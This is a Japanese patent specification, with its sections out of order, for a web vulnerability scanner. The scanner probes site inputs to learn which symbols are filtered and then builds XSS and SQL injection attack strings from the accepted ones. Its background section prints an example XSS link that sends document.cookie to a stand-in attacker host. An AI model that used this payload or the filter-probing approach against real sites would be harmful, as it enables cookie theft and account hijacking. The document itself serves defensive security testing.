conquer）」検索アルゴリズムを使用して、文字列メンバーのいくつかのより小さなグループを送信し、何が拒否されて、何が許可されたかを判断することができる。それに失敗すると、文字列の各メンバーが個別に送信されうる。この実施形態の一例を図６及び図６に関連した説明と共に提供する。代替的な一アルゴリズムは、拒否されたあらゆる文字列の個々の文字列メンバーの送信、又は、語彙にすでに含まれていない個々の文字列メンバーの送信に戻ることができる。語彙を識別するための開示された方法は、それ自体独立で新規と考えることができるが、本発明は、どの特定の技法にも限定されるものでないことが当業者には十分理解されよう。逆に、本発明は、プローブの送信と応答の解析とを通じて語彙を特定するためのさまざまな技法のいずれも利用することができる。
【００４１】
図６は、本発明の例示的な一実施形態に関係したステップを示すフロー図である。図示したフローチャートは、単に、本発明を実施する一方法であり、この実施形態で説明される特定の特徴及び態様は、例示的なためであって、限定ではないことが十分理解されるべきである。一方、図示した実施形態も、それ自体単独で新規であると考えられることも十分理解されるべきである。この実施形態は、並列に実行できる２つのプロセスとして示されている。第１のプロセスは語彙ビルダ６００であり、第２のプロセスは攻撃者６５０である。説明するように、語彙ビルダ６００は、シンボル若しくはシンボルセットの記号体系又はドメインを扱う。語彙ビルダは、許可されたシンボル又はシンボルセットで語彙を組み立てることができるだけでなく、このドメインを追加又は増大させることもできる。攻撃者６５０は、その語彙を監視して、攻撃を作成できるか否か及びいつ攻撃を作成できるかを判断し、次に、攻撃の結果に応じて、シンボル又はシンボルセットのドメインを増大させる。
【００４２】
より具体的には、語彙ビルダ６００は、シンボルのプール（ドメイン）にアクセスして、シンボル又はシンボルセットを取得する（６０４）。シンボルは、エンジンが探している脆弱性に基づいてプールから選択されうる（すなわち、ＸＳＳの場合にはＨＴＭＬシンボル、ＳＱＬインジェクションの場合にはＳＱＬキーワード、ＸＰａｔｈの場合にはＸＭＬアイテム等）。代替的に、シンボルを単に語彙ビルダにキュー形式で供給し、ヒューリスティックに基づいて又は他の技法を使用して選択することもできる。用いられる技法にかかわらず、シンボル又はシンボルセットは、ウェブアプリケーションへ送信されるプローブを生成するのに使用されるか、又は、そのプローブに組み込まれる（６０８）。次に、そのプローブに対するウェブアプリケーションの応答が解析される（６１２）。プローブ全体が拒否された場合（６１６）、プローブ内のシンボルは、シンボルプールに再挿入することができる（６２０）。この再挿入は、シンボルのそれぞれを個々に分離することによって行われうるし、いくつかのシンボルセットは、拒否されたシンボルのリストから作成されうる。加えて、再帰的プロセスを用いて、シンボルセットを徐々に体系的に分解し、ステップ６０４から開始してシンボルセットを再サブミットし、拒否の原因を特定することができる。
【００４３】
プローブ全体が拒否されていない場合（６１６）、プローブ内のシンボルのいくつかを許可されたシンボルとして識別できる一方、それ以外を、ウェブアプリケーションによってフィルタリング又は拒否されたものと判断することができる。許可されたシンボルとして識別されているシンボルのそれぞれは、語彙に追加される（６２４）。拒否されたものとして識別されているシンボルについて、それらのシンボルは、個別に若しくはセットとして、又はそれらの双方の組み合わせとしてプールに再入力される。次に、処理は、ステップ６０４において、検査される次のシンボル（複数可）の取得を続ける。このプロセスは、プール全体が使い尽くされるまで、若しくは、別のプロセスがこのプロセスをサスペンドするまで続けることができるか、又は永久に続けて、プールが空になった場合にアイドルモードに単に入り、その後、プールに新たなエントリーが入るのを単に待機することができる。
【００４４】
攻撃者６５０は、最初に、語彙ビルダ６００が、エントリーが語彙内に置かれるのを待っていることを監視する。したがって、攻撃者６５０は、語彙にアクセスし（６５４）、エントリーが攻撃を作成するのに十分でない場合（６５８）、攻撃者６５０は、基本的にはループを実行する。十分なエントリーが利用可能になると（６５８）、攻撃文字列が、受け付け可能な入力の語彙から組み立てられる（６６２）。この語彙は、いくつかのマークアップ言語構成体、コード、及び言語要素を含むことができる。エンジンは、所望の攻撃を識別することができ、次に、語彙のエントリーを検査して、どの攻撃がサポートされているかを判断することができる。本発明のこの態様は、さまざまな方法で実施できることが理解されるべきである。たとえば、一実施形態では、攻撃とシグネチャとに関する辞書をエンジンに知らせることもできるし、エンジンへアクセス可能にすることもできる。この辞書は、単に、さまざまなキーワードによって検索又はインデックスされうる攻撃の静的データベースとすることができる。この辞書を使用して、エンジンは、語彙によってサポートされる攻撃及びシグネチャを識別することができる。非限定的な一例として、「image」及び「onload」のＨＴＭＬキーワードが語彙にある場合、エンジンは、これらのキーワードを含む攻撃文字列のすべてを取り出すことができる。次に、エンジンは、ウェブアプリケーションに対するこれらの攻撃文字列を送信することができる。
【００４５】
代替的に、語彙が識別されると、又は、語彙が生成されている間に、エンジンは、実際に攻撃を急いでで組み立てることもできる。攻撃文字列は、総当り、修正総当り（modified brute force）を含むさまざまな方法で、又は、ヒューリスティックの適用を通じて、語彙から生成されうる。総当りの適用では、語彙の要素が簡単に検査され、各要素及び要素の可能な組み合わせを選択して、それらの要素及び組み合わせでウェブアプリケーションをプローブすることに基づいて、文字列が生成される。この手法は、多くの偽の役に立たない文字列が生成される場合があり、語彙が大きい場合には、組み合わせの個数及びその組み合わせでウェブアプリケーションを試験する時間がかなり大きくなる場合があるという点で理想的ではない。一方、修正総当り法は、言語ロジック及び言語構成体の使用を用いて、文字列を生成する。したがって、有効な言語プローブのみを生成する方法で、語彙に存在するさまざまな言語要素を識別して、文字列生成のプロセスに適用することができる。最後に、攻撃文字列を生成しようとする際に、一組のヒューリスティック又は他のアルゴリズム手順をライブラリに適用することができる。たとえば、ウェブアプリケーションに課される一般的なタイプの攻撃を定義することにより、語彙を検索して、それらの攻撃用の攻撃文字列を作成するのに必要な組み立てブロックを識別することができる。当業者は、ウェブアプリケーションに対して使用できるこれらのタイプの攻撃、及び、識別された語彙が与えられた場合にこのような攻撃文字列ジェネレータを組み立てる方法に精通しているだろう。これらのタイプの攻撃には、ＸＳＳ、ＳＱＬインジェクション、及びＤＯＭタイプのＸＳＳ攻撃が含まれるが、これらに限定されるものではない。
【００４６】
本発明の別の実施形態では、語彙を組み立てて攻撃文字列を生成するプロセスは、統合されたプロセスである。たとえば、エンジンは、１つ又は２つ以上の言語キーワードを含む攻撃文字列又は許可／フィルタリングされた語彙に単に準拠する攻撃文字列を送信することによって開始することができる（６６４）。次に、攻撃文字列に対する応答が解析されて（６６８）、攻撃が機能したか否かが調べられる。攻撃が失敗した場合（６７３）、攻撃者は、語彙ビルダプロセス６００を通じてフィードバックできる新たなシンボルセットを生成することができ、ステップ６５４に戻って、次の攻撃を行うことができる。一方、他の実施形態では、解析プロセスは、かなり入り組んでいる場合があり、複数の且つ異なる攻撃要求を送信すること、及び、複数の応答を解析／比較することを含む場合がある。本発明のこの態様は、誤検出の発生を大幅に削減する。攻撃文字列が拒否された場合、エンジンは、言語キーワードの１つ又は２つ以上を変更した異なる試験文字列を生成することができる。この文字列が成功した場合、それらの２つの文字列を比較することによって、許可された語彙の一部を識別することができる。同様に、文字列は、ウェブアプリケーションの脆弱性を識別する結果になっている場合もある。したがって、エンジンは、（ａ）脆弱性についてウェブアプリケーションをプローブし、（ｂ）試験文字列を生成し、（ｃ）許可語彙を増大させ、そして、（ｄ）情報をすべて同時にシンボルプール内にフィードバックする、統合された方法で機能している。一方、この第２の文字列も拒否された場合、エンジンは、これらの２つの文字列を比較して、フィルタリングされた可能性のあるキーワードを識別し、新たな文字列を形成し、そして、文字列が受け付けられるまで又は記号体系全体が使い尽くされるまでこのサイクルを繰り返すことができる。これに代えて又はこれに加えて、前述したように、文字列が拒否されると、エンジンは、要素ごとの解析に入ることができる。この要素ごとの解析では、文字列の各要素がウェブアプリケーションへ個別に送信されて、その要素が受け付けられるのか、それともフィルタリングされるのかが判断される。次に、処理は、許可された語彙及び記号体系の残りの要素に基づいて攻撃文字列の形成を続けることができる。
【００４７】
この説明で提供された実施形態及び具体例は、非限定的な例として提供されたものであり、したがって、たとえそれらが個々に新規であると考えることができても、本発明の唯一の新規な実施態様又は構成とみなされるべきではないことが十分理解されるべきである。説明した実施形態は、異なる特徴を含み、それらの特徴のすべてが、本発明のすべての実施形態で必要とされるとは限らない。本発明のいくつかの実施形態は、これらの特徴又はこれらの特徴の可能な組み合わせの一部しか利用しない。当業者は、説明した本発明の実施形態の変形形態と説明した実施形態で言及された特徴の異なる組み合わせを含む本発明の実施形態とが思いつくであろう。本発明の範囲は、添付の特許請求の範囲によってのみ限定される。
【図面の簡単な説明】
【００４８】
【図１】評価ツールの一般的構造のシステム図である。
【図２】クロスサイトスクリプティングのインスタンスを探し出している時に、従来のウェブアプリケーションスキャン脆弱性評価がどのように行われるかを示す概念図である。
【図３】図２に示す静的チェック技術システムによって用いられる技法と対照的な本発明の一実施形態で用いられる技法の概念図である。
【図４】本発明のオペレーションの超高レベル図を示すフロー図である。
【図５】ウェブアプリケーションの入力許可を見つけて、受け付け可能な入力の語彙を生成するエンジンの例示的な一実施形態に関係したステップを示すフロー図である。
【図６】受け付け可能入力の語彙から攻撃文字列を組み立てるエンジンの例示的な一実施形態に関係したステップを示すフロー図である。
【符号の説明】
【００４９】
１００ ウェブ評価インターフェース
１２０ インターネット
１３０ ソフトウェアエージェント
１４０ 評価データ
１５０ 報告インターフェース
【技術分野】
【０００１】
本発明は、ウェブサイト解析の分野に関し、より具体的には、ウェブサイトのオペレーションの特性のいくつかに基づいて攻撃文字列を動的に生成することによりサイトを評価する速度及び性能を改善するウェブサイト解析ツールに関する。
【背景技術】
【０００２】
［関連出願］
この出願は、出願番号第１１／５６０，９８４号を割り当てられ、代理人整理番号第１９００６．１０９０号によって識別される２００６年１１月１７日に出願された「CHARACTERIZATION OF WEB APPLICATION INPUTS」と題する米国特許出願、及び、出願番号第１１／５６０，９２９号を割り当てられ、代理人整理番号第１９００６．１０７０号によって識別される２００６年１１月１７日に出願された「IMPROVED WEB APPLICATION AUDITING BASED ON SUB-APPLICATION IDENTIFICATION」と題する米国特許出願に関連し、これらの出願を参照により援用する。これらの出願の双方は、本発明と同じエンティティに譲渡されている。
【０００３】
パーソナルコンピュータのインターネットサーフィングによって容易にされた情報の自由な交換により、さまざまな危険が、その情報をホスティングする組織、さらには、その情報を所有する組織に引き起こされている。この脅威は、ワールドワイドウェブ上でホスティングされ且つ世界のあらゆる場所に位置するほとんどあらゆるパーソナルコンピュータによってアクセス可能な対話型アプリケーションで最も広まっている。ウェブアプリケーションは、多くの形、すなわち、情報ウェブサイト、イントラネット、エクストラネット、電子商取引ウェブサイト、エクスチェンジ、検索エンジン、トランザクションエンジン、又は電子ビジネスの形を取ることができる。これらのアプリケーションは、通常、会社に危険を引き起こす可能性のある弱点を含んだコンピュータシステムにリンクされている。弱点は、システムアーキテクチャ、システム構成、アプリケーション設計、実施構成、及びオペレーションに存在する可能性がある。危険には、計算の誤りの可能性、ハードウェア及びソフトウェアの損傷の可能性、認可されていないユーザによるデータのアクセスの可能性、データの窃盗又は損失の可能性、システムの悪用の可能性、及びビジネスオペレーションの混乱の可能性が含まれる。
【０００４】
デジタル企業が、電子ビジネスの利益を取り入れるにつれて、ウェブベース技術の使用が増大し続ける。今日の法人企業は、それらの法人企業の顧客関係を管理する方法としてウェブを使用し、それらの法人企業のサプライチェーンオペレーションを向上させ、新しい市場に拡大し、顧客及び従業員へ新製品及び新サービスを配備する。しかしながら、ウェブアプリケーションセキュリティの一貫した手法がなければ、ウェブベース技術の強力な利益の実施の成功は、大幅に遅れる可能性がある。
【０００５】
当業界の部外者は、ハッカーが、大量消費者の電子商取引のサイト及びポータルからＮＡＳＡやＣＩＡ等の政府機関に至るまで、ほとんどあらゆる商用ウェブサイトを日常的に攻撃していることを知って驚く場合がある。従来、セキュリティ違反の大部分は、法人企業システムのネットワークレイヤで起こっていた。一方、今日、ハッカーは、法人企業ファイアウォールの内部のウェブアプリケーションを操作しており、それによって、ハッカーが法人企業データ及び顧客データにアクセスして破壊することを可能にしている。会社のウェブアプリケーションコードにごく小さなホールがあっても、ウェブブラウザ（及び少しの決意）さえ備えていれば、経験豊かな侵入者は、ほとんどの商用ウェブサイトに入り込むことができる。
【０００６】
問題は、当業界を監視する者が理解しているものよりもはるかに大きい。多くの米国企業は、ウェブアプリケーションレベルのオンラインアクティビティさえも監視していない。このセキュリティの欠如によって、攻撃が試みられたことさえも気付かれずに済ますことが可能になる。これによって、会社は、反応型セキュリティ体制に置かれる。反応型セキュリティ体制では、事態が発生するまで、何も解決されない。反応型セキュリティは、ポリシー変更の触媒として機密データを犠牲にすることを意味し得る。
【０００７】
新しいレベルのセキュリティ違反は、連続的にオープンしているインターネットポート（一般ウェブトラフィック用のポート８０及び暗号化されたトラフィック用のポート４４３）を通じて起こり始めてきた。これらのポートは、外部から到来するすべてのインターネットトラフィックに対してオープンしているので、ハッカーがセキュアファイル並びに独自の法人企業データ及び顧客データにアクセスできるゲートウェイである。悪質なハッカーがニュースに取り上げられているが、オンライン窃盗、オンラインテロ、及びオンラインスパイ活動の形の脅威の可能性の方がはるかに高く存在する。
【０００８】
今日、ハッカーは、企業の一歩先を行っている。法人企業は、自身のセキュリティポリシーの開発に急ぎ、基本的なセキュリティ基盤も実施している一方、プロのハッカーは、新たな攻撃方法を発見し続けている。ほとんどのハッカーは、「独創的な（out-of-the-box）」セキュリティホールを使用して、段階的に高められた特権を取得したり、会社のサーバ上でコマンドを実行したりしている。既製のウェブアプリケーションを単に間違って構成することにより、疑うことを知らない会社のウェブサイトにセキュリティ脆弱性の穴が開いたままになる。
【０００９】
パスワード、ＳＳＬ及びデータ暗号化、ファイアウォール、並びに標準的なスキャンプログラムは十分でない場合がある。パスワードは、破られる可能性がある。ほとんどの暗号化は、データ伝送しか保護しない。しかしながら、ウェブアプリケーションデータの大部分は、可読形式で記憶される。ファイアウォールは、開口部を有する。スキャンプログラムは、一般に、独自のアプリケーション並びにカスタムウェブページ及びカスタムスクリプトではなく、標準的なサーバ及びアプリケーション上の既知の脆弱性についてネットワークをチェックする。
【００１０】
プログラマは、通常、セキュリティを考慮に入れてウェブアプリケーションを開発することはない。その上、ほとんどの会社は、自身のウェブサイト又はウェブアプリケーションの開発の大部分を、サードパーティ開発資源を使用して外注し続けている。これらの開発グループが個人であろうとコンサルタント会社であろうと、ほとんどのプログラマが、開発計画の「特徴及び機能」の側面に集中し、セキュリティがコーディングの実施に組み込まれていることを前提としているということである。しかしながら、これらのサードパーティ開発資源は、通常、コアセキュリティの専門的知識さえも有しない。また、サードパーティ開発資源は、「安全な解決策」を実施するのに必要とされるセキュリティの綿密な検査には役に立たない、迅速な開発スケジュール等の一定の目的も有する。
【００１１】
ウェブアプリケーションを操作することは簡単である。ハッカーが、製品価格を示す隠しフォームフィールド（hidden form field）を見つけて変更することは、多くの場合、比較的簡単である。同様の技法を使用すると、ハッカーは、コモンゲートウェイインターフェース（ＣＧＩ）スクリプトのパラメータを変更して、製品価格の代わりにパスワードファイルを検索することもできる。検索機能等、ウェブアプリケーションのいくつかのコンポーネントが、正しく統合されず且つ構成されていない場合、そのサイトは、ハッカーが管理ページにアクセスすることを認めることを可能にするバッファオーバーフロー攻撃を受ける可能性がある。今日のウェブアプリケーションのコーディングの実施は、認可されていないアクセスから会社及びそのデータを安全に保つのに必要とされる最も基本的なセキュリティ対策のいくつかを大いに無視している。
【００１２】
開発者及びセキュリティのプロは、標準的なアプリケーション及び独自のアプリケーションの双方においてホールを検出できなければならない。次に、開発者及びセキュリティのプロは、セキュリティホールの重大さを査定して、優先順位付けされた解決策を提案することができ、それによって、組織は、既存のアプリケーションを保護し、新しいソフトウェアを素早く実施することが可能になる。通常のプロセスは、ウェブ接続されたデバイス上のすべてのアプリケーションを査定し、既存のセキュリティ脆弱性及び潜在的なセキュリティ脆弱性についてアプリケーションロジックの各ラインを検査することを伴う。
【００１３】
ウェブアプリケーション攻撃は、通常、５つのフェーズ、すなわち、デフォルトページのポートスキャン、サーバタイプ及びアプリケーションロジックについての情報収集、アプリケーション機能の体系的試験、攻撃の計画、及び攻撃の開始を伴う。攻撃の結果は、データ喪失、コンテンツ操作、さらには顧客データの窃盗及び喪失となる可能性がある。
【００１４】
ハッカーは、多数の技法を用いて、ウェブアプリケーションを悪用することができる。いくつかの例には、パラメータ操作、強制パラメータ（forced parameter）、クッキーの不正変更、共通ファイル照会（common file query）、既知のセキュリティの弱点の使用、ディレクトリ列挙、ウェブサーバ試験、リンクトラバーサル、パストランケーション（path truncation）、セッションハイジャック、隠しウェブパス、Ｊａｖａ（登録商標）アプレットリバースエンジニアリング、バックアップチェック、拡張子チェック、パラメータ渡し、クロスサイトスクリプティング、及びＳＱＬインジェクションが含まれる。
【００１５】
評価ツールは、ウェブアプリケーションの脆弱性及びウェブサイトの脆弱性の詳細な解析を提供する。図１は、評価ツールの一般的構造のシステム図である。ウェブ評価インターフェース１００を通じて、ユーザは、ネットワーク１２０上で利用可能なウェブサーバ又は宛先システム１１０に存在するどのアプリケーション、サイト、又はウェブサービスを解析するかを指定する。ユーザは、評価のタイプを選択し、どのポリシーを使用するかを選択し、ＵＲＬを入力し、それから、プロセスを開始する。
【００１６】
評価ツールは、ソフトウェアエージェント１３０を使用して、脆弱性評価を行う。ソフトウェアエージェント１３０は、ツールが、誤検出を最小にしながら、知的アプリケーションレベル脆弱性チェックを適用して、セキュリティの問題を正確に特定することを可能にする高度なヒューリスティックセットから成る。ツールは、ソフトウェアエージェントを使用してアプリケーションのクロールフェーズ（crawl phase）を開始し、すべてのエリアのカタログを動的に作成する。これらのエージェントがそれらの評価を完了すると、結果を解析できるように、見つかったものは評価データベース１４０を通じてメインセキュリティエンジンへ報告される。次に、ツールは、他のソフトウェアエージェントを起動することによって監査フェーズに入る。これらの他のソフトウェアエージェントは、収集された情報を査定し、攻撃アルゴリズムを適用して、脆弱性の存在及び重大さを判断する。次に、ツールは、結果を相関させ、それらの結果を、理解するのに容易なフォーマットで報告インターフェース１５０に提示する。
【００１７】
ウェブアプリケーションに対するよく知られている攻撃の１つは、クロスサイトスクリプティング、すなわちＸＳＳと呼ばれているものである。ＸＳＳは、ウェブアプリケーションのユーザについての個人情報又は悪意のある情報を収集するためにウェブアプリケーションに対して使用される技法であり、ハッカーが、ウェブアプリケーション内に不法侵入するのに使用する最も一般的なアプリケーションレベル攻撃の１つである。ＸＳＳは、攻撃者に加えて、ウェブアプリケーション及びユーザを伴う三者攻撃である。
【００１８】
ＸＳＳ攻撃が入る時に通る基本的な扉は、脆弱なサイトに存在する脆弱なスクリプトである。この脆弱なスクリプトは、ＨＴＴＰ要求を受け取るように動作し、次に、そのＨＴＴＰ要求を、その要求を送信したページにエコーバックする。ＨＴＴＰ要求のエコーは、全エコーの場合もあるし、部分エコーの場合もあるが、いずれの場合も、スクリプトは、ＨＴＴＰ要求をエコーバックする前に、まずＨＴＴＰ要求の内容をきれいに（sanitize）しないので、脆弱性が存在する。したがって、ＨＴＴＰ要求が、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔコード又はＨＴＭＬタグ等の悪意のあるオブジェクトを含んでいる場合、これらのオブジェクトは、受信側ブラウザが作動させることができ、損傷を引き起こしたり、ユーザのプライバシーを侵害したりすることができる。
【００１９】
当業者は、ＸＳＳを使用して悪用できるさまざまな技法及び脆弱性に精通しているだろうが、明瞭にするために、ＸＳＳ攻撃の具体例を提示する。多くのウェブサイトは、そのウェブサイトにログインした後又はそのウェブサイトにアクセスした時に提示されるウェルカムページを含む。ウェルカムスクリプト（すなわち、Ｗｅｌｃｏｍｅ．ｃｇｉ）は、一般に、パラメータ［名前］を受け取り、実行されると、ウェルカムメッセージをユーザに提供する。ウェブアプリケーションへ送信される要求は、一般に、
GET /welcome.cgi?name=WORLD HTTP/1.0
host: www.targetwebsite.com
として構造化される。
【００２０】
この要求を受信すると、www.targetwebsite.comのウェブアプリケーションは、以下の応答で応じる。
<HTML>
<Title>Welcome to the TargetWebsite</Title>
HELLO WORLD
<BR>
...
</HTML>
【００２１】
ＸＳＳ攻撃を使用してこの能力を悪用するために、ハッカーは、特別に構造化されたリンクを、ユーザがアクティブ化するのに便利なロケーションに配置する。このような配置には、電子メールメッセージ内、又は、電子メールメッセージからアクセスされるウェブサイト若しくはユーザによってブラウジングされる可能性のあるウェブサイトが含まれ得る。基本的には、このリンクは、名前のパラメータ値を、ユーザのブラウザにエコーされるとすぐに実行されるＪａｖａ（登録商標）Ｓｃｒｉｐｔに置き換えるものである。一般に、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔは、クライアントブラウザが前に作成して、ターゲットウェブサイトに関連付けられたクッキーにアクセスするのに使用される。Ｊａｖａ（登録商標）Ｓｃｒｉｐｔからのセキュリティモデルは、特定のサイトから到着するスクリプトが、そのサイトに属するクッキーにアクセスすることを可能にし、ブラウザは、ターゲットウェブサイトから来るＪａｖａ（登録商標）Ｓｃｒｉｐｔを単に受けるだけであるので、それらのクッキーは、この攻撃に対して脆弱にされる。特別に構造化されたリンクは、以下のように見える場合がある。
http://www.target.site/welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>
【００２２】
ユーザが悪意のあるリンクをアクティブ化すると、ブラウザは、以下の要求を生成する。
GET /welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>HTTP/1.0
Host:www.target.site
【００２３】
この要求に応答して、ターゲットウェブサイトは、以下の応答を提供する。
<HTML>
<Title>Welcome to the TargetWebsite</Title>
Hello<script>windows.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>
<BR>
...
</HTML>
【００２４】
ユーザのブラウザは、この応答を受信して、１つのＪａｖａ（登録商標）Ｓｃｒｉｐｔコードを含むＨＴＭＬページとしてこの応答を解釈する。次に、ブラウザは、このＪａｖａ（登録商標）Ｓｃｒｉｐｔコードを積極的に実行する。このＪａｖａ（登録商標）Ｓｃｒｉｐｔコードは、次に、ターゲットウェブサイトに属するすべてのクッキー又はターゲットウェブサイトに関連付けられているすべてのクッキーへのアクセスを可能にし、次いで、攻撃者のウェブサイト上のスクリプト、すなわち、クッキーをパラメータとして受け取るcollect.cgiを起動することによって、それらのクッキーを攻撃者のウェブサイトへ送信する。
【００２５】
このように、ハッカーは、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔ、ＶＢＳｃｒｉｐｔ、ＡｃｔｉｖｅＸ、ＨＴＭＬ、又はＦｌａｓｈを脆弱なウェブアプリケーションに注入して、ユーザに損害を与え、ユーザから情報を得ることができる。この情報は、アカウントハイジャック、ユーザ設定の変更、クッキーの窃盗／改ざん、又は虚偽広告になる可能性がある。ハッカーは、ＸＳＳ攻撃を毎日のように行う新たな方法を作成している。
【００２６】
通例、静的チェックを有する脆弱性データベースを使用することは、成功する手法であった。今日のウェブアプリケーション及びウェブサービスの評価製品は、ＸＳＳ及びＳＱＬインジェクションのようなセキュリティ脆弱性について数千もの静的チェックを売り物にしている。ウェブアプリケーション評価ソフトウェアベンダは、基本的には、ほとんどのチェックを有する最良の脆弱性データベースを作成して市場で売買するように努力してきた。しかしながら、ウェブアプリケーション及びそれらの機能がスケール及び複雑さにおいて増大したことから、標準的なウェブアプリケーションスキャン方法論に関する問題が増加してきた。当業界が、現在、増加するチェックに取り組む速度によれば、脆弱性データベースは、数年で数万個の静的チェックを有することになる。アプリケーションのスキャン時間は、脆弱性データベースの追加の各チェックと共に線形に拡大するので、その多くのチェックでは、アプリケーションスキャンを実行するのに必要な時間はかなり大きくなる。したがって、脆弱性評価ツールの有効性を損なうことなく、このような脆弱性を識別するのに必要な時間を大幅に減少させる新しい技術が、当該技術分野及び関連業界で必要とされている。
図２は、クロスサイトスクリプティングのインスタンスを探し出している時に、従来のウェブアプリケーションスキャン脆弱性評価がどのように行われるかを示す概念図である。ダイアログボックスをオープンできるか否かを調べるために、同じ攻撃が、アプリケーションの「クロール」中に発見されたすべての入力手段に対して繰り返しサブミットされ、このことは、アプリケーションが、クロスサイトスクリプティングの影響を確かに受けやすいことを示す。たとえ、ウェブアプリケーションが、「＞」等の潜在的に悪意のある文字をフィルタリングしても、その文字を含む複数の攻撃が依然としてサブミットされる。したがって、現時点で最新の脆弱性評価ツールに関していくつかの問題があり、それによって、当該技術分野では、改善された方法論の必要性が生み出されている。
【００２７】
当該技術分野に存在するニーズ又は問題の１つは、静的チェックを使用する従来の手法が、その課題を解決する際に「インテリジェンス」の適用を欠いているということである。評価ツールにおける標準的な「バルク」手法は、イエス又はノー及びサブミットされている純粋な数の脆弱性シグネチャ以外のインテリジェンスもロジックも利用しない「オールオアナッシング」方法論を適用する点で、非常に限定的である。当該技術分野の状態に存在する別の問題は、評価に時間がかかりすぎるということである。前述したように、潜在的な脆弱性及びそれらの変形形態の個数は、絶えず増大している。この状況に対処するには、静的チェックのリストが長いほど、静的チェックのそれぞれがアプリケーションに対してサブミットされなければならず、スキャン時間は遅くなることを意味する。スキャンの精度を確保するだけでも、静的チェックの大きなデータベースを要する。当該技術分野のさらに別の問題は、現在の技術を使用すると、非常に多くの誤検出が生成されるということである。ウェブの脆弱性及び技術は時間と共に変化するので、チェックが正確であり続けることは困難である。脆弱性シグネチャは、「ハードコード化」されて静的であり、技術に大きく依存している。基本的には、サーバが何で応答しているかについて、脆弱性シグネチャを動的にすることも知的にすることもできない。これは、自動化された評価ツールが、実際には存在しない脆弱性にフラグを立てるときに非常に多くの「誤検出」につながる可能性がある。各誤検出は、手作業で検証しなければならず、これは、多くの時間を要するタスクである。
【発明の開示】
【発明が解決しようとする課題】
【００２８】
このように、当該技術分野では、評価を行う静的手法にだけ依拠するのではなく、評価を行う際にインテリジェンスを実際に適用できる、脆弱性評価を行うための方法及びシステムが必要とされている。このような解決策は、評価を行う際に行わなければならないチェックの回数の削減を可能にすべきであり、性能を改善すべき、すなわち、評価を行うのに必要とされる時間を削減すべきであり、且つ、誤検出の発生を低減するのに役立つべきである。したがって、正確ではあるが今日の技術よりも高速且つ効率的な方法でウェブサイト及びウェブアプリケーションを解析する複雑さが増加の一途をたどっているが、当該技術分野では、この増加の一途をたどる複雑さに取り組むことができるウェブサイト及びウェブアプリケーションの評価ツールが必要とされている。本明細書で説明する本発明は、このような解決策を提供する。
【課題を解決するための手段】
【００２９】
本発明は、さまざまな特徴及び態様を含むが、一般に、ウェブアプリケーションを査定し又はウェブアプリケーションを評価して、ウェブアプリケーションが何らかの脆弱性を有するか否かを判断する技法を対象とする。背景のセクションで説明したように、ウェブアプリケーション及びウェブサイトに対して開始される非常に一般的な攻撃は、ＸＳＳ攻撃を使用したものである。これらの攻撃は、開始するのが比較的容易であり、多くのウェブサイト及びウェブアプリケーションがこれらのタイプの攻撃にかなり脆弱であることが分かっている。ウェブサイト又はウェブアプリケーションを評価して、このような攻撃に対する脆弱性を識別することは、非常に必要なプロセスであるが、かなり多くの時間を消費する。本発明は、ウェブアプリケーションのこのような評価を、ウェブ評価ツールの効率性及び有効性を大幅に改善した方法で行うことを可能にする。本発明の一態様は、ウェブアプリケーションの入力をプローブ（probe）して、どのマークアップ言語構成体がウェブアプリケーションによってフィルタリングされるかを判断することである。本発明は、ウェブサーバが、一般に、ウェブアプリケーションにわたって一貫的であるようにし、したがって、一定の構成体又は言語コンポーネントがウェブアプリケーションの或る入力によってフィルタリングされる場合、これらの同じ構成体又はコンポーネントは、ウェブアプリケーションの類似の入力によってフィルタリングされるということを利用する。加えて、静的攻撃文字列をウェブアプリケーションの入力に向けて網羅的に放つのではなく、本発明は、文字列がいつ拒否されるのか、文字列がなぜ拒否されるのかを判断し、次に、評価においてその手法を変更する。評価に対するこの変更は、基本的に、ウェブアプリケーションの以前に監視された特性に基づいて間違いなく拒否されるさらなる攻撃を省略することから成る。
【００３０】
したがって、一般に、本発明の一実施の形態は、まず、ウェブアプリケーションをプローブして、ウェブサーバによりフィルタリングされないシンボルを識別し、次に、プローブするステップの結果に基づいて攻撃文字列を構成することによって、マークアップ言語ベースのウェブアプリケーションの脆弱性を評価するように動作する。
【００３１】
より具体的には、本発明は、ウェブアプリケーションを知的に解析するウェブアプリケーション脆弱性評価ツールである。これは、まず、ウェブアプリケーションのクロールを行って、入力フィールドを識別することにより行われる。加えて、ウェブアプリケーションの入力フィールドの入力として使用できるシンボルのドメインが識別される。このドメインは、評価ツールに提供される可能性があり、あるいは、ウェブサイトの言語を識別し、且つその言語の構成体をドメインとして使用することにより、評価ツールによって生成される可能性がある。次に、シンボルのいずれがウェブアプリケーションによってフィルタリングされ、いずれがウェブアプリケーションによって受け付けられるのかに関する判断が行われる。フィルタリングされたシンボルは、基本的に、トスされて（tossed）役に立たないが、受け付けられたシンボルは、語彙を組み立てるのに使用される。この語彙を使用して、攻撃文字列が生成される。次に、これらの攻撃文字列は、ウェブアプリケーションへ送信され、応答がレビューされて、ウェブアプリケーションに存在し得る何らかの脆弱性が判断される。
【００３２】
一実施の形態では、どのシンボルがフィルタリングされ、どれが許可されるのかを判断するプロセスは、まず、シンボルの１つ又は２つ以上を含む文字列を作成することを含む。次に、文字列は、ウェブアプリケーションへ入力として送信される。ウェブアプリケーションからの応答は、解析されて、受け付けられたシンボルがもしあれば、どのシンボルが受け付けられたかが識別される。これは、複数の文字列が作成され、ウェブアプリケーションへ送信され、解析され、そして、語彙を変更するのに使用される反復プロセスとすることができる。攻撃文字列を生成するプロセスは、語彙の生成後に動作することもできるし、語彙生成と同時に実行することもできる。たとえば、攻撃文字列が生成されて送信されるとすぐに、応答が解析されて、攻撃が実際に機能したか否かが確認される。この検証ステップによって、誤検出が削減され、また、許可された記号体系に関するフィードバックも提供される。攻撃が、許可されることが判明しているシンボルから成る場合、これらのシンボルの組み合わせが、実際にはフィルタリングされる場合がある。本発明は、この場合、これらのシンボル又はシンボルのグループに反復適用することができ、それによって、語彙を変更することができる。
【００３３】
図及び以下の説明は、本発明のさまざまな態様及び特徴を詳しく述べている。
【発明を実施するための最良の形態】
【００３４】
